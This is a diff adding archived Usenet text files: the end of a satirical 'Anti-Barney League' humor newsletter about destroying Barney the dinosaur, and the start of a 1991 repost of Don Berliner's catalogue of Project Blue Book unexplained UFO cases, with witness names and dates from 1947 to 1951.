rec.humor. The response was + disturbingly small. Barney, it seems, has eaten everyones brains. + +---------------------------------------------------*----------------------- + + + + On PBS there is a show called "Barney and his Friends" (check your + local listings). Basically, it concerns a group of irritating small + children and a purple toy dinosaur named "Barney" who comes to life and + sings songs of a pro-social nature. Of particular note is "The I Love You + Song", sung to the tune of "This Old Man", slowed to a dirge-like tempo: + + I love you. + You love me. + We're a happy family. + With a great big hug, + And a kiss from me to you, + Won't you say you love me too? + + Believe me, it's really eerie. Now, the fact of Barney's existence on + this show is written off as "imagination". But supposing it isn't? + + JUST WHAT IS BARNEY, ANYWAY? + + Supposedly, Barney is just some guy in a big foam rubber dinosaur suit. + Several things about this theory don't add up, however. Barney has full + mobility, for one thing. + + Remember Big Bird? Did you ever notice how only one of his hands ever + did anything and the other was always clutching his stomach like he + was about to puke up gizzard stones? That's because Big Bird was a guy in + a suit. That other hand was OPERATING HIS BEAK. + + Barney, however, has two fully functional arms, a working mouth, and + LARGE, MOVING COW-LIKE EYES. If that's a man in there, he's no ordinary + man. (Plus, he's repeatedly demonstrated the ability to leap in the air + a CLICK HIS HEELS. Any NORMAL human would sweat like a cheese trying + stunts like that.) + + If he's not a human, what is it? Let's speculate, shall we? + + 1) He's a real dinosaur. + + Possibly. Although resemblance to any known fossil remains is + questionable, the geological record is far from complete. Since Barney is + apparently warm-blooded, this would support current revisionist + paleontological theory. (The singing ability is a new twist, however.) + And how would we know if dinosaurs were purple or not? On the other hand, + while he is built along the lines of a carinvore (Family Tyrannosauridae) + his teeth seem those of a herbivore, or at best, an omnivore. Assuming + those are teeth. + + 2) He's some evil supernatural entity posing as a warm, cuddly parent + figure in order to train young children to be his unholy army of ultimate + darkness. + + You know, the more I think about this one, the more likely it seems. Look + at the facts. Kids LOVE him, and no one knows why. Adults think he's + really creepy. Obviously, there are unclean forces at work here. The way + to test this out would be to confront the fiend with a crucifix. + + 3) He's a space alien. + + This would explain a lot. Barney, as a xenomormorph, might have access + to all sorts of technology that we couldn't even begin to comprehend: + hypnosis beams, holographic projectors, even large-scale matter + re-assemblers. All of theses could account for the "powers of + imagination" as depicted on the show. As for his motives and purpose, + see above. + + HOW DO WE STOP BARNEY? + + Notice I waste no time asking if Barney SHOULD be stopped. Of COURSE + he should be stopped. It's a given. But how? + + 1) Wait for him to go away. + + Most media darlings eventually do this. However, we can't afford to take + chances. Our children's BRAINS are at stake. + + 2) Stuff a chicken and rock salt in his mouth, then sew his lips shut. + + You could, in fact, fit several chickens in there. + + 3) Find out where his power supply is and unplug him. + + If he's a space alien, he may well be a robot. Let's hope he doesn't + have a breeder reactor in his tail. (Now that I think of it, he probably + gets his power from...The Children's Television Workshop. Cut their + funding!) + + 4) Stop believing in him. + + Scoff if you will. It worked with my boss at the car wash. + + Anyway, I'm open to suggestions. If you think you know WHAT Barney + is, or HOW to destroy him, let us know. Until there's an + alt.barney.die.die.die we'll confine ourselves here. And remember, you + won't get your kids back until Barney is dead.dead.dead. + + +-- +******************************************************************************** +We are dealing with forces well within our comprehension. +metraton@cruzio.santa-cruz.ca.us + + Recently, I posted an article where I postulated that Barney the Dinosaur + perhaps was not what he seemed to be, but was,in fact, some evil being bent + on taking over the minds of children everywhere. The Great Unwashed scoffed + at my warnings. + + Well, Barney the Dinosaur is still amongst us, brainwashing hapless + children, and YOU just SIT there at your terminal chuckling at my so-called + "madness". But listen. There's still time to put an end to his evil Jurassic + schemes. + + I've done some research and it's clear to me that Barney is some kind of + malignant supernatural force that has invaded a toy stuffed dinosaur. With + that in mind, let's discuss how he can be destroyed. + + Surveillence shows that there are two principal Barney modes. There's + the "Sentient Mode", where he is a six-foot tall fuzzy purple saurian who + moves around freely and talks and sings like an brain damaged castrati. + Then there is the "Toy Mode", where he appears to be a small stuffed version + of himself. (NOTE: Neither of these is Barney's true form. As a creature of + darkness, he can take on any form he chooses. In truth, he probably looks + a lot like Mick Jagger. Doesn't sing like him, though.) + + So. Let's say you happen to see this toy Barney, just sitting there in + a swing made from an old Uniroyal. Do you pull out your handy M-16 and pump + him full of hot lead, screaming "DIE, YOU UNHOLY SPAWN OF SATAN! DIE DIE + DIE!" No. You do not. This will only make him angry. If you're LUCKY he will + only suck out your soul like soup through a straw. + + We are dealing with a SUPERNATURAL Creature here. Don't assume that just + because he LOOKS like a fuzzy harmless doll that he IS a fuzzy hamless doll. + In toy form he will be constantly on his guard, whereas in active mode he + thinks himself invunerable. And THAT shall be his downfall. + + You will need the standard tools: Garlic, a crucifix, an iron rod, a Tammy + Faye record, stuff like that. Keep them ready at all times in case of random Ba +rney + encounters. + + If by some chance you DO encounter The Hellspawn in active mode, take + these steps: + + *DO NOT MAKE EYE CONTACT!* + His eyes have power. He uses them to possess people. If you gaze too long + upon his countenance, you will be HIS, body and soul. The effect isn't + as obvious on T.V., at least not with adults. In person, however.... + Well, just wear a welding mask. + + *DO NOT LET HIM SING TO YOU!* + For one thing, he's a BAD singer, and he steals his riffs. The real + danger comes, however, from the seductive quality of his Song Of + Entrapment: + + I love you.... + Etc... + Etc... + Won't you say you love me too? + + If you DO say you love him, or worse, sing the next verse, then he OWNS + your soul and all its accessories. And we'll have to kill you too. + + *ACT CASUAL.* + Lull him into a false sense of security. Pretend you want an autograph + for your nephew. If you're especially skillful, you can get him to sign + an agreement to leave mortals alone for all eternity. (NOTE: Your pen + MUST be filled with blood for this to work.) While he is not really + likely to fall for a cheap stunt like this, it's certainly worth a try, + unless you're worried about him sucking up your soul like jello through + a Hoover. Which he'll do. + + *DESTROY HIM.* + Don't worry. If you've done everything right he won't suspect a thing. + The following methods will certainly annilihate most creatures of + darkness: + + 1) Poke him gently in the ribs with a crucufix, saying "Hey? Hey? Hey? + Big fella?" + + 2) Blow pepper at him. Have a priest ready to say "Bless you," when he + sneezes. Stand well back, so as not to get Barney-bits all over you. + + 3) Blow his face off with a flare gun. Still got that welding mask on? + + 4) Cancel his show. (NOTE: You'd better be a PBS executive. Otherwise + he'll suck out your soul like bilge through a pump.) + + 5) Ask yourself. How would "MacGyver" handle this? + + 6) Decapitate him with a silver sword, on sacred ground, under a 3-D + picture of Jesus, while drinking a glass of holy water FROM THE FAR + SIDE OF THE GLASS, with a bag over your head, while singing "Amazing + Grace", in a month with a "K" in it. (Note: The sword MUST be blessed + by His Holiness the Pope. Otherwise, you're wasting your time.) + + One of those ought to work. Give it a try. If you'd like to field test + any of these methods, use them on Rush Limbaugh. All of the above applies + to HIM, too. + +*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* + +From: szebra!engr.LaTech.edu!ksg (Kenneth S. Guillory) +Subject: Barney, a testimonial + + +There comes a time when we as a society must humbly admit our wrongs +and take whatever actions necessary to correct our misdoings. Barney +the dinosaur is one of the most hideous creations of modern American +culture and as such, he MUST be destroyed. The termination of Barney +must therefore become a goal of all decent, responsible citizens. Only +united can we protect our children and stop his evil reign! + +I solute you brave founders of the Anti-Barney League, and I want to +offer my support for your cause. + +My first encounter with Barney was seeing one of his commercials while +eating breakfast one morning. "He's big, He's purple, He's your best +friend. He's BARNEY!!" kept echoing through my mind as I stood in +horror, helplessly entranced by the dancing purple mass on my TV. +At that moment, I heard a noise outside which disturbed the evil spell +long enough for me to break free and realize what was happening. It +was then I became aware that no one was safe, and that I must find +others. + +FOR ANYONE WHO DOUBTS THAT BARNEY IS EVIL INCARNATE - Just turn down +volume on the TV the next time Barney appears. Striped of his music +( such as the 'I love you, you love me' brainwash chant, one of his +most powerful spells ) Barney's ugliness immediately becomes visible. +I assure you, if you try this, you will feel a chill as you watch the +demonic blob silently moving its mouth, gesturing, and dancing before +you. After a moment to recover your composure, you too will realize +what must be done. + +Remember my friends, +He's Big. He's Purple. He must be destroyed. + +---- +Shane Guillory Dept of Biomedical Engineering +ksg@engr.latech.edu Louisiana Tech University + +*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* + +If you wish to submit material to the ABL newsletter send mail to +Kill-Barney-Submit@spectrx.saigon.com, and to send any comments mail +system@spectrx.saigon.com. + +*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* + diff --git a/textfiles.com/magazines/MISC/bluebook.txt b/textfiles.com/magazines/MISC/bluebook.txt new file mode 100644 index 00000000..3b2d5488 --- /dev/null +++ b/textfiles.com/magazines/MISC/bluebook.txt @@ -0,0 +1,3313 @@ +Path: uuwest!spies!apple!sun-barr!cs.utexas.edu!usc!rpi!crdgw1!ge-dab!tarpit!bilver!dona +From: dona@bilver.uucp (Don Allen) +Newsgroups: alt.alien.visitors,alt.conspiracy +Subject: INFO: Project Bluebook -UNKNOWNS- Part 1 +Keywords: Project Bluebook UFO's +Message-ID: <1991Jul4.021512.15602@bilver.uucp> +Date: 4 Jul 91 02:15:12 GMT +Organization: W. J. Vermillion - Winter Park, FL +Lines: 663 + + + +---------------------------------------------------------------------- +This information is presented for your persusal and is a continuation +of my policy of informing the public what is currently available. The +content of this information does NOT necessarily reflect the personal +views of the poster,nor should the views,opinions,statements or claims +represented in the following be accepted by anyone reading these texts +at *face* value. If this interests you, please endeavor to research it +yourself and investigate it to *your* satisfaction, and as such I will +leave it in your hands to either prove it or de-bunk it :-) + +As I do not have a great amount of time available to pursue follow-ups +exclusively, comments to me should be directed to dona@bilver.uucp +in mail. +--------------------------------------------------------------------- + +The following files (6) are from the work of Don Berliner, who compiled +a listing of the Project Bluebook "unknowns" . + +This is part 1: + + + +----------Bluebook Part 1 ----------------------------------------------- + + + + THE BLUE BOOK UNKNOWNS + ~~~~~~~~~~~~~~~~~~~~~~~~ +The unexplained UFO reports from the files of the U.S. Air Force's Project +Blue Book UFO investigations. + + Compiled by Don Berliner, for the Fund for UFO Research + ~~~~~~~~~~~~ +the conclusions or views expressed in this publication are the views of the +author(s) and do not necessarily reflect the opinions of the Fund for UFO +Research, Inc. + + + THE UNEXPLAINED UFO CASES FROM THE PROJECT BLUE BOOK FILES + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +In January, 1974, I visited the U.S. Air Force Archives at Maxwell AFB, +Montgomery, Ala., to review the files of Project Blue Book as the first step +toward writing a book on the subject. + +In a full week, I read all the "unexplained" cases in the original files and +made extensive notes, including the names and other identifying information on +all witnesses where given. The cooperation of the staff of the Archives was +excellent, and no restrictions were placed on my work. + +A few months later, the files were withdrawn from public view so they could be +prepared for transfer to the National Archives in Washington, D.C. This +process involved making a xerox copy of almost 30 file drawers of material, +blacking out the names and other identifiers of all witnesses, and then +microfilming the censored xerox copy. The microfilm has been available to the +public at the National Archives since 1976. The original Project Blue Book +files remain under lock and key at the Archives. + +On almost every page of the 12,000+ case files, there are big black marks +where information that could be used to cross-check Project Blue Book's +controversial work has been censored. + +This includes the names of witnesses to widely-publicized cases, and even +names in newspaper clippings! + +As it was perfectly legal for me to copy witness' names when I visited the Air +Force Archives, those names can be found in this report of 585 (less 13 +missing) unexplained cases. And since the Privacy Act, which motivated the +Air Force to censor the files in the first place, does not apply to reporters +or anyone else outside the Government, they can be used as the reader pleases. + +Inasmuch as the book I planned to write has never progressed beyond the +manuscript stage, I see no reason to keep this information under wraps any +longer. Perhaps it will encourage others to re-investigate cases and make the +results known. + +"Unidentified" says a great deal...and it says almost nothing. + +Probably the most controversial aspect of the entire Air Force investigation +of UFOs was its handling of individual cases. + +The means by.which one case was determined to be "identified" and another +"unidentified" has no doubt fueled more arguments about Project Blue Book than +anything else it did. + +For many years, Blue Book's most vocal opponents have insisted that the +standards by which cases were allegedly explained were grossly unscientific. +Blue Book's goal, according to those who held it low esteem, was to attach +some explanation to every case, regardless of logic or common sense. Examples +of Blue Book saying a violently maneuvering disc was an aircraft, or of +blaming a puzzling radar tracking on a supposedly malfunctioning radar set +which it never bothered to check out, are numerous in the popular UFO +literature. + +And they are even more numerous in the files of Project Blue Book. The urgency +with which Blue Book officials tagged answers onto cases without having done +the proper investigation is obvious, though not proven. But if the Air Force +was so eager to label cases "identified", despite the lack of supporting +evidence, then those few cases which it labeled "unidentified" presumably +withstood every attempt to apply every other kind of label. And so it may be +that those cases are truly unidentifiable in familiar terms. + +Indeed, the Air Force defines "unidentifiable" cases as those which +"apparently contain all pertinent data necessary to suggest a valid hypothesis +concerning the lack of explanation of the report, but the description of the +object or its motion cannot be correlated with any known object or +phenomenon." + +To meet such criteria, a report must obviously come from a reputable source, +and it must not bear any resemblance to airplanes, balloons, helicopters, +spacecraft, birds, clouds, stars, planets, meteors, comets, electrical +phenomena, or anything else known to frequent the air, the sky, or nearby +space. + +Unfortunately, the Air Force failed to stick to its own rules. Some of the +"unidentifiable" cases most certainly can be correlated with known objects or +phenomena. But most of them cannot. Moreover, many of the so-called +"identified" cases cannot honestly be so correlated. But we are primarily +concerned here with those cases which Project Blue Book openly admits it +tried to explain and failed. + +The amount of detail in these cases varies enormously. Some cases - +frequently those which were well publicized at the time of the event - contain +considerable information, while others are vague and seriously incomplete. +Project Blue Book generally placed the blame for such incompleteness on the +witnesses, but it should take its own share of the responsibility. 'In +thousands of cases, there is no completed questionnaire in the Project files, +nor even any indication that one was sent to the witness. And in most of the +instances where a questionnaire was filled out, it was never followed up to +get more complete answers to questions which the witnesses failed to deal with +properly. For much of the life of Project Blue Book and its predecessors, +there was no satisfactory.questionnaire at all. And one of those used for a +lengthy period was so badly organized that a witness should not be held to +blame for giving incomplete answers. + +Yet, despite all the roadblocks, many reports are sufficiently complete to +tell a pretty clear story of a puzzling experience. With this data now +available, anyone can look at Project Blue Book's "unidentified" UFO reports +and make up his own mind. + + July 3, 1947; Harborside, Maine. 2:30 p.m. EDT. Witness: + astronomer John Cole of South Brooksville, Me. Watched 10-15 + seconds while ten very light objects, with two dark forms to + their left, moved like a swarm of bees to the northwest. A loud + roar was heard. + + July 4, 1947; over Emmet, Idaho. 8:17 p.m. PDT. Witnesses: + United Air Lines Capt. E.J. Smith, First Officer Ralph Stevens, + Stewardess Marty Morrow. Watched for 12-15 minutes while four + objects with flat bottoms and rough tops moved at varying speeds, + with one high and to the right of the others. + + July 6, 1947; Fairfield-Suisan Air Base, California. Daytime. + Witnesses: Army Air Forces Capt. and Mrs. James Burniston. + Watched for 1 minute while one object having no wings or tail + rolled from side-to-side three times and then flew away very fast + to the southeast. + + July 8, 1947; Muroc Air Base, California. 9:30 a.m. PDT. + Witnesses: lst Lt. Joseph McHenry, T/Sgt Ruvolo, S/Sgt Nauman, + Miss Janette Scotte. Watched for an unstated length of time + while two disc-shaped or spherical objects--silver and apparently + metallic--flew a wide circular pattern, and then one of them + later flew a tighter circle. + + July 9, 1947; Meridian, Idaho. 12:17 p.m. PDT. Witness: Idaho + statesman aviation editor and former (AAF) B-29 pilot Dave + Johnson. Watched for more than 10 seconds from an Idaho Air + National Guard AT-6 while a black disc, which stood out against + the clouds, made a half-roll and then a stair-step climb. + + July 10, 1947; Harmon Field, Newfoundland, Canada. Between 3 and + 5 p.m. local time. Witnesses: three ground crewmen, including + Mr. Leidy, for Pan American Airways. Watched briefly while one + translucent disc- or wheel-shaped object flew very fast, leaving + a dark blue trail and then ascended and cut a path through the + clouds. + + July 29, 1947; Hamilton Air Base, California. 2:50 p.m. PDT. + Witnesses: Assistant Base Operations Officer Capt. William + Rhyerd, ex-AAF B-29 pilot Ward Stewart. Watched for unknown + length of time while two round, shiny, white objects with + estimated 15-25 foot diameters, flew 3-4 times the apparent speed + of a P-80, also in sight. One object flew straight and level; + the other weaved from side-to-side like an escort fighter. + + Sept. 3, 1947; Oswego, Oregon. 12:15 p.m. PDT. Witness: + housewife Mrs. Raymond Dupui. Watched for unknown length of time + as 12-15 round, silver objects flew an unstated pattern. + + + Oct., 1947; Dodgeville, Wisconsin. 11 + unnamed civilian man. Watched for 1 hour while an undescribed + object flew counterclockwise circles. + + Oct. 14, 1947; 11 mi. NNE of Cave Creek, Arizona. Noon MDT. + Witnesses: ex-AAF fighter pilot J.L. Clark, civilian pilot + Anderson, third man. Watched 45-60 seconds while one 3-foot + "flying wing"-shaped object, which looked black against the white + clouds and red against the blue sky, flew straight at an + estimated 380 m.p.h., at 8-10,000 feet, from NW to SE. + + April 5, 1948; Holloman AFB, New Mexico. Afternoon. Witnesses: + Geophysics Lab balloon observers Alsen, Johnson, Chance. Two + irregular, round, white or golden objects. One made three loops + then rose and disappeared rapidly; the other flew in a fast arc + to the west during the 3O^second sighting. + + July 29, 1948: Indianapolis, Indiana. 9:88 a.m. witness*: + James Toney, Robert Huggins, both employees of a rug cleaning + firm. One shiny aluminum object, shaped something like an + airplane's propeller, with 10-12 small cups protruding from + either blade. Estimated size 6-8' long, 1.5-2' wide. The object + glided across the road a few hundred feet in front of their + vehicle and apparently went down in a wooded area. Sighting + lasted a few seconds. + + July 31, 1948; Indianapolis, Indiana. 8:25 a.m. Witnesses: Mr. + and Mrs. Vernon Swigert; he was an electrician. Object was + shaped like a cymbal, or domed disc; about 20' across and 6-8' + thick, and was white without any shine. It flew straight and + level from horizon to horizon in about 10 seconds, shimmering in + the sun as if spinning. + + July or August, 1948; vicinity of Marion, Virginia. Shortly + after sunset. Witness: Max Abbott, flying a Bellanca Cruisair + four-passenger private airplane. A single bright white light + accelerated and turned up a valley. + + Sept. 23, 1948; San Pablo, California. 12 noon. Witnesses: + Sylvester Bentham and retired U.S. Army Col. Horace Eakins. Two + objects: one, a buff or grey rectangle with vertical lines; the + other a translucent "amoeba" with a dark spot near the center. + The arms of the "amoeba" undulated. Both objects travelled very + fast. + + Oct. 15, 1948; Fusuoka, Japan. 11:05 p.m. Witnesses: pilot + Halter and radar operator Hemphill of a P-61 "Black Widow" night + fighter. Up to six objects tracked on radar, only one seen + visually. Dull or dark object shaped like a dirigible with a + flat bottom and clipped tail end. Six seen on radar separately + Pilot attempted to close on visual object, but it dove away fast. + + Dec. 3, 1948; Fairfield-Suisan AFB, California. 8:15 p.m. + Witness: USAF Sgt., control tower operator. One round, white + light flew for 25 seconds with varying speed, bouncing motion, + and finally a rapid erratic climb. + + Jan. 4, 1949; Hickam Field, Hawaii. 2 p.m. Witness: USAF pilot + Capt. Paul Storey, on ground. one flat white, elliptical object + with a matte top circled while oscillating to the right and left, + and then sped away. + + Jan. 27, 1949; Cortez-Bradenton, Florida. 10:20 p.m. Witnesses: + Capt. Sames, acting chief of the Aircraft Branch, Eglin AFB, and + Mrs. Sames. They watched for 25 minutes while a cigar-shaped + object as long as two Pullman cars and having seven lighted + square windows and throwing sparks, descended and then climbed + with a bouncing motion at an estimated 400 m.p.h. + + March 17, 1949; Camp Hood, Texas. 7:52 p.m. Witnesses: guards + of the 2nd Armored Division. While awaiting the start of a + flare firing, they watched, for an hour, while eight large, + green, red and white flare-like objects flew in generally + straight lines. + + April 3, 1949; Dillon, Montana. 11:55 a.m. Witnesses: + construction company owner Gosta Miller and three other unnamed + persons. One object shaped like two plates attached + face-to-face; matte bottom, bright aluminum top; 20' diameter, + 4-5' thickness. It rocked or rotated in six cycles, descended, + rocked, flew, rocked; all this was very fast. + + April 4, 1949; Merced, California. 10:20 p.m. witness: William + Parrott, former Air Force pilot and major. One generally round + object with a curved bottom and dull coloring. The object gave + off a clicking sound until overhead. Parrott's dog reacted. 35 + seconds. + + April 24, 1949; Arrey, New Mexico. l0:30 a.m. Witnesses: + General Mills meteorologist and balloon expert C.B. Moore and + others on a balloon launch crew. One white, round ellipsoid, + about 2.5 times as long as wide. + + April 28, 1949; Tucson, Arizona. 5:45 p.m. Witnesses: Howard + Hann, Mr. Hubert, Tex Keahey. One bright, sausage-shaped object + was observed for 40 minutes while it rolled and flew fast. + + May 5, 1949; Ft. Bliss, Texas. 11:40 a.m. Witnesses: Army + officers Maj. Day, Maj. Olhausen, Capt. Vaughn. Two oblong white + discs, flying at an estimated 200-250 m.p.h., made a shallow turn + during the 30-50 second observation. + + May 6, 1949; Livermore, California. 9:35 a.m. Witness: C. G. + Green. Two shiny, disc-like objects rotated around each other + and banked. Then one shot upwards with a grey trail and rejoined + the other. The sighting lasted 5 minutes. + + May 9, 1949; Tucson, Arizona. 2:30 p.m. Witness: M/Sgt. Troy + Putnam. Two round, flat silvery objects, estimated to be 25' in + diameter, flew 750-1,000 m.p.h. in a banked but steady manner. + + May 27, 1949; South-central Oregon. 2:25 p.m. Witness: Joseph + Shell, ferrying SNJ trainer for North American Aviation, from Red + Bluff, California, to Burns, Oregon. Five to eight oval objects, + twice as long as wide, and 1/5 as thick. They flew in trail + formation, with an interval equal to 3-4 times their length, + except that the second and third were closer together. + + July 24, 1949; Mountain Home, Idaho. 12 noon. Witness: Henry + Clark, manager of a flying service, flying a Piper Clipper. + Seven delta-shaped objects, 35-55' in span, 20-30' long, 2-5' + thick; light colored except for a 12' diameter dark circle at the + rear of each. They flew in a tight formation of twos with one + behind, and made a perfect, but unbanked, turn. During the + 10 minute sighting, they displayed decreasing smooth + oscillations. Clark's engine ran rough during the sighting, and + upon landing was found to have all its spark plugs burned out. + + July 30, 1949; Mt. Hood, Oregon. 9 p.m. Witnesses: Northwest + Airlines Capt. Thrush, two Portland control tower operators, and + one flying instructor. One object with one white light and two + red lights, maneuvered and hovered. + + Feb 5, 1950; Teaticket, Massachusetts. 5:10 p.m. Witnesses: + Marvin Odom, former U.S. Navy fighter pilot, USAF Lt. Philip + Foushee, pilot from Otis AFB, and two others. Two thin, + illuminated cylinders, one of which dropped a fireball, + maneuvered together and then disappeared high and fast after 5 + minutes. + + Feb. 24, 1950; Albuquerque, New Mexico. 1:55 p.m. Witnesses: + Municipal Airport Weather Observers Luther McDonald, Harrison + Manson. One white, slightly elongated oval was watched for 1.5 + minutes through a theodolite while it flew straight and level. + + Feb. 25, 1950; Los Alamos, New Mexico. 3:55 p.m. Witnesses: + Twelve Atomic Energy Commission security inspectors. One + cylinder with tapered ends, silver and flashing, flew slow and + hen fast, fluttered and oscillated, and changed course. + observations by individuals varied from 3 seconds to 2 minutes. + + arch 3, 1950; Selfridge AFB, Michigan. 11:05 p.m. Witness: + st Lt Frank Mattson. One intense, dull yellowish light + descended vertically, then flew straight and level very fast for + 4 minutes. + + March 20, 1950; Stuggart, Arkansas. 9:26 p.m. Witnesses: + Chicago & Southern Airlines Capt. Jack Adams, First Officer G. W. + Anderson, Jr. One 100' circular disc with 9-12 portholes along + the lower side emitting a soft purple light, and a light at the + top which flashed 3 times in 9 seconds, flew at not less than + 1,000 m.p.h. It was seen for 25-35 seconds. + + March 27, 1980; Motobo, Okinawa. 10:30 a.m. Witness: USAF + radar operator Cpl. Bolfango. Tracked on radar for 2 minutes + while it was stationary and then moved at 500 m.p.h.. Visual + observation not detailed, only mentioned in summary. + + March 28, 1950; Santiago, Chile. 3:15 p.m. Witness: M/Sgt. + Patterson, of the office of the U.S. Air Attache. One white + object observed for 5-10 seconds through binoculars while it flew + high and fast, crossing 30^ of sky. + + March 29, 1950; Marrowbore Lake, Tennessee. 7 a.m. Witnesses: + real estate salesmen Whiteside and Williams. Six-twelve dark + objects shaped like 300-lb. bombs, estimated 5 feet long. Flew + 500 m.p.h. and descended, making a noise like wind blowing + through the trees. + + April 8, 1950; Kokomo, Indiana. 2 a.m. Witness: Earl Baker. + One grey metallic disc, 50' in diameter, 15' thick; top-shaped + with a "conning tower" at the top and three ports on the rim + giving off a blue light. It hovered for 2 minutes, then flew + away. Baker aroused from sleep by his dog. + + April 14, 1950; Ft. Monmouth, New Jersey. 2:30 p.m. Witness: + Army M/Sgt. James. Four rectangular, amber objects, about 3' by + 4'. changed speed and direction rapidly; the group of objects + rose and fell during the 3-4 minute sighting. + + May 7, 1950; Nine miles sough of Ely, Nevada. 6:45 p.m. + Witnesses: Mr. and Mrs. George Smith and their grandson. One + silvery white object hovered at 100' altitude, moved back and + forth for 10 minutes and then flew up and away. Note in case + file: "No investigation." + + June 27, 1950; Texarkana, Texas. 7:50 a.m. Witnesses: Terrell + and Yates, employees of Red River Arsenal. One object, bright, + shaped like two dishpans face-to-face, flew straight and level, + fast for 4-5 seconds. + + July 13, 1950; Redstone Arsenal, Alabama. 5 p.m. Witnesses: + two skilled Arsenal employees including Mr. Washburn. one + object, shaped like a bowtie, and like polished aluminum. Flew + straight and level, then one triangle rotated 1/4 turn in the + opposite direction and returned to its original position. The + object then made a right-angle turn and accelerated away after at + least 30 seconds. + + Aug. 4, 1950; approx. 100 mi. SE of New York City (39' 35' N., + 72' 24.5' W.). 10 a.m. EDT. Witnesses: Master Nils Lewring, + Chief Mate Jacob Koelwyn, Third Mate, of M/V Marcala. One 10' + cylindrical object at 50-100' altitude, flying with a churning or + rotary motion, accelerated at end of 15 second sighting. + + Aug. 20, 1950; Nicosia, Cyprus. 1:30 p.m. Witnesses: USAF MATS + liaison officer Lt. William Ghormley, Col. W. V. Brown, Lt. + col. L.w. Brauer. One small, round, bright object flew fast, + straight and level for 15-20 seconds. + + Aug. 25, 1950; approx. 250 mi. SW of Bermuda (29' 40' N., 67* + 28' W.). 8 p.m. Witness: B-29 radarman S/Sgt. William Shaffer. + Radar observation, plus possible blue streak 3 minutes later. + B-29 followed unidentified target, then passed it at l/4-mile + distance, target followed for 5 minutes, then passed B-29 and + sped away. Total time of tracking: 20 minutes. + + Aug. 30, 1950; Sandy Point, Newfoundland, Canada. 1:30 p.m. + Witnesses: three local employees, including Kaeel and Alexander, + of the Air Force Base. A dark, barrel-shaped object with a pole + down from it into the water, flew at 3-5 m.p.h. and 15-20' + altitude for 5 minutes. + + Sept. 3, 1950; Spokane, Washington. 2 p.m. Witnesses: Maj R.J. + Gardiner, Mrs. Gardiner and neighbor (former saw three objects, + others saw one). Metallic bronze discs, 20-30' long, 2-6' thick. + Moved independently and erratically for 5 minutes. + + Sept. 20, 1950; Kit Carson, Colorado. 10:49 a.m. Witness + identified only as a "reliable source". Two large, round, + glowing objects and three smaller, internally lit objects. Two + hovered for 1 minute, moved, and three smaller ones came from + behind or within the two larger objects, and all sped upward and + away. + + Sept. 21, 1950; Provincetown, Massachusetts. 9:52 a.m. Witness: + M.I.T. research associate and Air National Guard Maj. M.H. Ligda. + Radar tracking of one object during M.I.T tracking of USAF flight + of F-84 or F-86 jet fighters. Object speed was 22 miles/minute + (l,200 m.p.h.), made turn of 11-12 gs acceleration during 1 + minute observation. + + Oct. 15, 1950; Oak Ridge, Tennessee. 3:20 p.m. Atomic Energy + Commission Trooper Rymer, J. Moneymaker, Capt. Zarzecki. Two + shiny silver objects shaped like bullet or bladder. They dove + with a smoke trail and one vanished. The other hovered at 5-6, + altitude, 50' away, left and returned several times somewhat + further away. + + Oct. 15, 1950; Pope AFB, North Carolina. Witness: Daniel. + Listed as "unidentified" in folder index, but no supporting data + could be found. + + Oct 15, 1950; Pope AFB, North Carolina. Witness: Woodward. + Same as previous observation. + + Oct. 23, 1950; Bonlee, North Carolina. 12:42 p.m. Witness: + ex-USAF pilot Frank Risher. One aluminum object shaped like a + dirigible or Convair C-99 cargo plane, with 3 portholes, arrived + from southeast, hovered 3-5 seconds and flew away to the south- + south-east at end of 40 second sighting. + + Nov. 5, 1950, Oak Ridge, Tennessee. 11:55 a.m. Witness: + Fairchild Aircraft illustrator Don Patrick. One translucent + object, light grey with dark core, shaped like a pear or bean. + Flew for 5-10 minutes with rapid, darting movements. + + Dec. 2, 1950; Nanyika, Kenya. 10:50 a.m. Mr. and Mrs. L. Scott. + One pearly, iridescent object with a flattened top, spun while + hovering and made a sound like bees buzzing. Only data in files + was from East African "Standard" newspaper. + + Dec. 6, 1950; Ft. Myers, Florida. 5 p.m. Witnesses: former + aircraft purchasing agent Harry Lamp and four boys, using + lO-power binoculars. One 75' object, 3-4' thick, bubble on top, + silver with a red rim having two white and two orange jets along + it. The center revolved when the object hovered; then it flew + away very fast. + + Dec. 11, 1950; l0 mi. NW of Gulcana, Alaska. 10:13 p.m. + Witnesses: crew of Northwest Air Lines flight 802. Two white + flashes, followed by a dark cloud which rose and split in two. + + Jan. 8, 1951; South of Ft. Worth, Texas. 10:45 p.m. Witnesses: + Mr. and Mrs. W.J. Boggus, plus unidentified drivers and + passengers in other cars stopped to watch. Two groups of red and + green lights in triangular formations were stationary and then + moved. + + Jan. 12, 1951, Ft. Benning, Georgia. 10 p.m. Witness: U.S. + Army 2nd Lt. A.C. Hale. One light with a fan-shaped wake + remained motionless like a star about 20 minutes and then sped + away. + + Jan 16, 1951; Artesia, New Mexico. Time unknown. Witnesses: + Two members of a balloon project from the General Mills . + Aeronautical Research Laboratory, the manger of the Artesia + Airport, and three pilots. The balloon crew was observing their + 110' balloon at an altitude of 112,000' when a dull white, round + object was spotted. It appeared larger than the balloon, but + made no movement. Later, the balloon crew and the others saw + two objects from the airport; flying side-by-side, they circled + the balloon and flew away to the northeast. The second + observation lasted about 40 seconds. Note: there is confusion + over the date of this case, with some USAF records showing it as + 1952; however, 1951 appears to be correct. + + Feb. 1, 1951; Johnson Air Base, Japan. 5:10 p.m. Witnesses: + pilot and radar operator of F-82 night fighter. One amber light + made three or four 360* turns to the right, reversed toward the + F-82 and then climbed out of sight. + + Feb. 21, 1951; Durban, South Africa. 4:55 a.m. Witnesses: + three men in a truck, several other persons, none named. A dark + red, torpedo-shaped object with darker center, flew straight and + level. + + Feb. 26, 1951; Ladd AFB, Alaska. 7:10 a.m. Witness: USAF Sgt. + J.B. Sells. One dull grey, metallic object, estimated to be 120' + long and 10-12' thick, hovered, puffed smoke and sped away after + 1-1.5 minutes. Note: may have been Feb. 25. + + Mar. 10, 1951; Chinnampo, Korea. 9:51 a.m. Witnesses: crew of + USAF B-29 bomber, including scanners and tail gunner. A large + red-yellow glow 